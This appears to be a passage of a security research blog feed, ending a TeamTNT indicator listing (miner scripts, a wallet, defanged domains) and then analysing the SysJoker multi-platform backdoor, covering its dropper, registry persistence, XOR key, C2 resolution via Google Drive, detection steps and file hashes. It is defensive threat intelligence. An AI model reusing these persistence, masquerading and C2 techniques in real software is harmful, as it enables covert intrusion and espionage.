&lt;td style="text-align: left"&gt;&lt;code&gt;74e3ccaea4df277e1a9c458a671db74aa47630928a7825f75994756512b09d64&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kshell&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8e33496ea00218c07145396c6bcf3e25f4e38a1061f807d2d3653497a291348c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;install_monerod.bash&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;518a19aa2c3c9f895efa0d130e6355af5b5d7edf28e2a2d9b944aa358c23d887&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup_moneroocean_miner.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5923f20010cb7c1d59aab36ba41c84cd20c25c6e64aace65dc8243ea827b537b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig (oneroocean)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a22c2a6c2fdc5f5b962d2534aaae10d4de0379c9872f07aa10c77210ca652fa9&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ee6dbbf85a3bb301a2e448c7fddaa4c1c6f234a8c75597ee766c66f52540d015&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;937842811b9e2eb87c4c19354a1a790315f2669eea58b63264f751de4da5438d&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;pei32&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;72cff62d801c5bcb185aa299eb26f417aad843e617cf9c39c69f9dde6eb82742&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmr3.assi&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;12c5c5d556394aa107a433144c185a686aba3bb44389b7241d84bea766e2aea3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aws2.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;053318adb15cf23075f737daa153b81ab8bd0f2958fa81cd85336ecdf3d7de4e&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;t.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;e6422d97d381f255cd9e9f91f06e5e4921f070b23e4e35edd539a589b1d6aea7&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;x86_64.so&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;77456c099facd775238086e8f9420308be432d461e55e49e1b24d96a8ea585e8&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;78f92857e18107872526feb1ae834edb9b7189df4a2129a4125a3dd8917f9983&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmrig.so&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3de32f315fd01b7b741cfbb7dfee22c30bf7b9a5a01d7ab6690fcb42759a3e9f&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;xmr.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fe0f5fef4d78db808b9dc4e63eeda9f8626f8ea21b9d03cbd884e37cde9018ee&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ziggy&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;74f122fb0059977167c5ed34a7e217d9dfe8e8199020e3fe19532be108a7d607&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Windows Targeting&lt;span class="hx:absolute hx:-mt-20" id="windows-targeting"&gt;&lt;/span&gt;
&lt;a href="#windows-targeting" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sniffer.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;42e60ce9f0b7c5260282a7006af0166cd3603a6043d833719586bd1adaece138&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;svchost2.exe&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dd0a5c62db8403263872716b8b2dfd190fcf9c742e9d13ad2c40ab41df7f2045&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Wallet: &lt;a href="https://supportxmr.com/"target="_blank" rel="noopener"&gt;84dg9MjSkFvXkqHQuBr6ep6TfhR3pTP8DRyTMN5s8RgYMVRcnce7Day8edLkk3TqAaSHXu2N4W3A3XjKMaSx4X8Q3KQgZnh&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Spring 2021&lt;span class="hx:absolute hx:-mt-20" id="spring-2021"&gt;&lt;/span&gt;
&lt;a href="#spring-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aws.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8cedd6187439f73675b076d70647ee117ec3a4184a5045499a6172ae6e6c2c39&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;grab_aws-data.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a1e9cd08073e4af3256b31e4b42f3aa69be40862b3988f964e96228f91236593&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;init.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;4e059d74e599757226f93ea8ddcfb794d4bcda605f0e553fbbef47b8b7c82d2b&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;search.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ed40bce040778e2227c869dac59f54c320944e19f77543954f40019e2f2b0c35&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Summer 2021&lt;span class="hx:absolute hx:-mt-20" id="summer-2021"&gt;&lt;/span&gt;
&lt;a href="#summer-2021" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files-5"&gt;&lt;/span&gt;
&lt;a href="#files-5" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left"&gt;Name&lt;/th&gt;
&lt;th style="text-align: left"&gt;SHA256&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;SSH.id_rsa.LAN.spread.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;000f9927d2aad73a10d7034cff8308535322e629a75600addfe38202305101ba&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mo.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;1b72088fc6d780da95465f80ab26ba094d89232ff30a41b1b0113c355cfffa57&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;SSH.id_rsa.LAN.spread.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;3cc54142b5f88d03fb0552a655e32e94f366c9e3bb387404c6f381cfea506867&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bot_u&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;5e1af7f4e6cf89cff44ee209399a9fab3bfd8f1ca9703fb54cee05cce2b16d4c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;scan.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;6c8a2ba339141b93c67f9d79d86a469da75bfbc69f128a6ed702a6e3925d5a29&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;setup.scanner.root.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;8737eb891a80302929a7d2a6ffacd51338705783f250ecbcd62d2d623f9e98fd&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;sx.sh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a383e770c319b2411ed17775a114b697fb83ab53912266462ad1607c090ca608&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kbot_x86_64&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;a46c870d1667a3ee31d2ba8969c9024bdb521ae8aad2079b672ce8416d85e8df&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Domains&lt;span class="hx:absolute hx:-mt-20" id="domains"&gt;&lt;/span&gt;
&lt;a href="#domains" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;teamtnt[.]red&lt;/li&gt;
&lt;li&gt;chimaera[.]cc&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>New SysJoker Backdoor Targets Windows, Linux, and macOS</title><link>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</link><pubDate>Tue, 11 Jan 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/</guid><description>
&lt;p&gt;Malware targeting multiple operating systems has become no exception in the
malware threat landscape.
&lt;a href="../../../2021/09/vermilionstrike-reimplementation-cobaltstrike"&gt;Vermilion Strike&lt;/a&gt;,
which was documented just last September, is among the latest examples until
now.&lt;/p&gt;
&lt;p&gt;In December 2021, we discovered a new multi-platform backdoor that targets
Windows, Mac, and Linux. The Linux and Mac versions are fully undetected in
VirusTotal. We named this backdoor &lt;strong&gt;SysJoker&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;SysJoker was first discovered during an active attack on a Linux-based web
server of a leading educational institution. After further investigation, we
found that SysJoker also has Mach-O and Windows PE versions. Based on Command
and Control (C2) domain registration and samples found in VirusTotal, we
estimate that the SysJoker attack was initiated during the second half of 2021.&lt;/p&gt;
&lt;p&gt;SysJoker masquerades as a system update and generates its C2 by decoding a
string retrieved from a text file hosted on Google Drive. During our analysis
the C2 changed three times, indicating the attacker is active and monitoring
for infected machines. Based on victimology and malware&amp;rsquo;s behavior, we assess
that SysJoker is after specific targets.&lt;/p&gt;
&lt;p&gt;SysJoker was uploaded to VirusTotal with the suffix .ts which is used for
&lt;a href="https://en.wikipedia.org/wiki/TypeScript"target="_blank" rel="noopener"&gt;TypeScript&lt;/a&gt; files. A possible attack
vector for this malware is via an infected npm package.&lt;/p&gt;
&lt;p&gt;Below we provide a technical analysis of this malware together with IoCs and
detection and response mitigations.&lt;/p&gt;
&lt;h2&gt;Technical Analysis of SysJoker&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis-of-sysjoker"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis-of-sysjoker" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware is written in C++ and each sample is tailored for the specific
operating system it targets. Both the macOS and Linux samples are fully
undetected in VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig1.png" title="e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;e06e06752509f9cd8bc85aa1aa24dba2 in VirusTotal targeting Mac M1 processor&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Behavioral Analysis&lt;span class="hx:absolute hx:-mt-20" id="behavioral-analysis"&gt;&lt;/span&gt;
&lt;a href="#behavioral-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker&amp;rsquo;s behavior is similar for all three operating systems. We will analyze
SysJoker&amp;rsquo;s behavior on Windows.&lt;/p&gt;
&lt;p&gt;Unlike Mac and Linux samples, the Windows version contains a first-stage
dropper. The dropper (&lt;code&gt;d71e1a6ee83221f1ac7ed870bc272f01&lt;/code&gt;) is a DLL that was
uploaded to VirusTotal as &lt;code&gt;style-loader.ts&lt;/code&gt; and has only 6 detections at the
time of this writing.&lt;/p&gt;
&lt;p&gt;The Dropper drops a zipped SysJoker (&lt;code&gt;53f1bb23f670d331c9041748e7e8e396&lt;/code&gt;) from
C2 &lt;code&gt;https[://]github[.]url-mini[.]com/msg.zip&lt;/code&gt;, copies it to
&lt;code&gt;C:\ProgramData\RecoverySystem\recoveryWindows.zip&lt;/code&gt;, unzips it and executes
it. All of these actions are executed via PowerShell commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig2.png" title="Process tree showing PowerShell commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Process tree showing PowerShell commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once SysJoker (&lt;code&gt;d90d0f4d6dad402b5d025987030cc87c&lt;/code&gt;) is executed it sleeps for a
random duration between 90 to 120 seconds. Then, it will create the
&lt;code&gt;C:\ProgramData\SystemData&lt;/code&gt; directory and copy itself under this directory,
masquerading as &lt;code&gt;igfxCUIService.exe&lt;/code&gt; (igfxCUIService stands for Intel Graphics
Common User Interface Service). Next, it will gather information about the
machine using Living off the Land (LOtL) commands. SysJoker uses different
temporary text files to log the results of the commands. These text files are
deleted immediately, stored in a JSON object, and then encoded and written to a
file named &lt;code&gt;microsoft_windows.dll&lt;/code&gt;. The figure below shows the JSON object
built in memory by SysJoker.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig3.png" title="JSON object built in memory by SysJoker." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;JSON object built in memory by SysJoker.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It will gather the MAC address, user name, physical media serial number, and IP
address (see IoCs section for the full commands list). SysJoker will create
persistence by adding an entry to the registry run key
&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. Between each
of the steps above, the malware sleeps for a random duration.&lt;/p&gt;
&lt;p&gt;The following screenshot shows the processes tree and commands.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig4.png" title="Processes tree and commands." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Processes tree and commands.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, SysJoker will begin its C2 communication.&lt;/p&gt;
&lt;h3&gt;Decoding/Encoding Scheme&lt;span class="hx:absolute hx:-mt-20" id="decodingencoding-scheme"&gt;&lt;/span&gt;
&lt;a href="#decodingencoding-scheme" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker holds within the binary a hardcoded XOR key which is used for decoding
and encoding strings from within the binary and data sent and received from the
C2. The XOR key is an RSA public key that is not used in the decoding scheme.
The same XOR key exists in all versions of SysJoker:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkfNl&amp;#43;Se7jm7sGSrSSUpV3HUl3vEwuh&amp;#43;xn4q
BY6aRFL91x0HIgcH2AM2rOlLdoV8v1vtG1oPt9QpC1jSxShnFw8evGrYnqaou7gLsY5J2B06eq5UW7
&amp;#43;OXgb77WNbU90vyUbZAucfzy0eF1HqtBNbkXiQ6SSbquuvFPUepqUEjUSQIDAQAB&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Resolving C2&lt;span class="hx:absolute hx:-mt-20" id="resolving-c2"&gt;&lt;/span&gt;
&lt;a href="#resolving-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;To get an available C2 and start communication, SysJoker first decodes a
hardcoded Google Drive link.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig6.png" title="Decoding with CyberChef." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoding with CyberChef.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decoded with &lt;a href="https://gchq.github.io/CyberChef/"target="_blank" rel="noopener"&gt;CyberChef&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The Google Drive link hosts a text file named domain.txt that holds an encoded
C2. The text file&amp;rsquo;s content changes over time, depending on the current
available C2. SysJoker will decode the C2 and send the collected user&amp;rsquo;s
information to the C2&amp;rsquo;s &lt;code&gt;/api/attach&lt;/code&gt; directory as an initial handshake. The C2
replies with a unique token which will be used as an identifier from now on
when the malware communicates with the C2.&lt;/p&gt;
&lt;h3&gt;C2 Instructions&lt;span class="hx:absolute hx:-mt-20" id="c2-instructions"&gt;&lt;/span&gt;
&lt;a href="#c2-instructions" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;SysJoker runs a while(1) loop that sends a request to the C2&amp;rsquo;s /api/req
directory with the unique token and will process the C2&amp;rsquo;s response which is
built as JSON using functions from &lt;a href="https://github.com/nlohmann/json"target="_blank" rel="noopener"&gt;this library&lt;/a&gt;. This is how SysJoker pings the
C2 for instructions (see step 2 in the image below):&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;If the server responds with data, SysJoker will parse the received payload (see
step 3 in the image below). SysJoker can receive the following instruction from
the C2: exe, cmd, remove_reg, and exit.&lt;/p&gt;
&lt;p&gt;The following image shows the flow of SysJoker&amp;rsquo;s communication with the C2.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;remove_reg&lt;/code&gt; and &lt;code&gt;exit&lt;/code&gt; are not implemented in this current version. Based on
the instruction names, we can assume that they are in charge of self-deletion
of the malware. Let&amp;rsquo;s look into exe and cmd instructions:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exe&lt;/code&gt; – This command is in charge of dropping and running an executable.
SysJoker will receive a URL to a zip file, a directory for the path the file
should be dropped to, and a filename that the malware should use on the
extracted executable. It will download this file, unzip it and execute it.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig9.png" title="IDA code snippet of the parsing function, if exe part." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, if exe part.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After execution, the malware will reply to the C2&amp;rsquo;s &lt;code&gt;/api/req/res&lt;/code&gt; API with
either &amp;ldquo;success&amp;rdquo; if the process went successful or &amp;ldquo;exception&amp;rdquo; if not (step 4
in the image above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig10.png" title="IDA code snippet of the parsing function, building response status." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building response status.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;cmd&lt;/code&gt; – This instruction is in charge of running a command and uploading its
response to the C2. SysJoker will decode the command, execute it and upload the
command&amp;rsquo;s response to the C2 via &lt;code&gt;/api/req/res&lt;/code&gt; API (step 4 in the image
above).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig11.png" title="IDA code snippet of the parsing function, building cmd command response." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;IDA code snippet of the parsing function, building cmd command response.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;During our analysis, the C2 hasn&amp;rsquo;t responded with a next stage instruction.&lt;/p&gt;
&lt;h2&gt;Detection &amp;amp; Response&lt;span class="hx:absolute hx:-mt-20" id="detection--response"&gt;&lt;/span&gt;
&lt;a href="#detection--response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;To detect if a machine in your organization has been compromised, we recommend
taking the following steps:&lt;/p&gt;
&lt;p&gt;Use memory scanners to detect SysJoker payload in memory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Linux machines, use Intezer Protect to gain full runtime visibility over
the code in your Linux-based systems and get alerted on any malicious or
unauthorized code. We have a free community edition.&lt;/li&gt;
&lt;li&gt;For Windows machines, use Intezer&amp;rsquo;s Endpoint Scanner. The Endpoint Scanner
will provide you with visibility into the type and origin of all binary code
that resides in your machine&amp;rsquo;s memory. The figure below shows an example of
an endpoint infected with SysJoker:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig12.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Use detection content to search in your EDR or SIEM. We provided you with IoCs
and a rich list of detection content for each operating system below. Use these
with your EDR to hunt for infected machines. We will publish a dedicated blog
soon discussing how to use detection content for detecting SysJoker.&lt;/p&gt;
&lt;p&gt;If you have been compromised, take the following steps:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kill the processes related to SysJoker, delete the relevant persistence
mechanism, and all files related to SysJoker (see detection content section
below)&lt;/li&gt;
&lt;li&gt;Make sure that the infected machine is clean by running a memory scanner&lt;/li&gt;
&lt;li&gt;Investigate the initial entry point of the malware. If a server was infected
with SysJoker, in the course of this investigation, check:
&lt;ul&gt;
&lt;li&gt;Configuration status and password complexity for publicly facing services&lt;/li&gt;
&lt;li&gt;Used software versions and possible known exploits&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;SysJoker&amp;rsquo;s Linux and Windows versions are now indexed in Intezer Analyze.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/01/new-backdoor-sysjoker/images/fig13.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Final Points&lt;span class="hx:absolute hx:-mt-20" id="final-points"&gt;&lt;/span&gt;
&lt;a href="#final-points" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;There are indications that SysJoker attack is performed by an advanced threat
actor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The fact that the code was written from scratch and hasn&amp;rsquo;t been seen before
in other attacks. On top of that, it is rare to find previously unseen Linux
malware in a live attack.&lt;/li&gt;
&lt;li&gt;The attacker registered at least 4 different domains and wrote from scratch
the malware for three different operating systems.&lt;/li&gt;
&lt;li&gt;During our analysis, we haven&amp;rsquo;t witnessed a second stage or command sent from
the attacker. This suggests that the attack is specific which usually fits
for an advanced actor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Based on the malware&amp;rsquo;s capabilities we assess that the goal of the attack is
espionage together with lateral movement which might also lead to a ransomware
attack as one of the next stages.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;ELF&lt;span class="hx:absolute hx:-mt-20" id="elf"&gt;&lt;/span&gt;
&lt;a href="#elf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;bd0141e88a0d56b508bc52db4dab68a49b6027a486e4d9514ec0db006fe71eed
d028e64bf4ec97dfd655ccd1157a5b96515d461a710231ac8a529d7bdb936ff3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
